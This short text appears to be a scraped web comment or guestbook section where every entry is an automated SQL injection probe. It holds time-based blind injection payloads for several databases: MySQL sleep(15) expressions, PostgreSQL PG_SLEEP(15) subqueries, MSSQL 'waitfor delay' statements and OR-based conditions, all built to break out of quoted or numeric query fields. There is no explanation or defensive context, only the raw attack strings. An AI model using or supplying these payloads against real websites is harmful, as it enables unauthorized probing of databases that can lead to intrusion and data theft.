-1" OR 2+617-617-1=0+0+0+1 --

if(now()=sysdate(),sleep(15),0)

Guest:
555-1) OR 705=(SELECT 705 FROM PG_SLEEP(15))--
0'XOR(if(now()=sysdate(),sleep(15),0))XOR'Z

Guest:
555-1) OR 705=(SELECT 705 FROM PG_SLEEP(15))--
0"XOR(if(now()=sysdate(),sleep(15),0))XOR"Z

(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/

Guest:
555-1) OR 705=(SELECT 705 FROM PG_SLEEP(15))--
-1; waitfor delay '0:0:15' --

Guest:
555-1) OR 705=(SELECT 705 FROM PG_SLEEP(15))--
-1); waitfor delay '0:0:15' --

Guest:
555-1) OR 705=(SELECT 705 FROM PG_SLEEP(15))--
-1 waitfor delay '0:0:15' --

Guest:
555-1) OR 705=(SELECT 705 FROM PG_SLEEP(15))--
muAfqJNH'; waitfor delay '0:0:15' --

Guest:
555-1) OR 705=(SELECT 705 FROM PG_SLEEP(15))--
RnctgJNh'); waitfor delay '0:0:15' --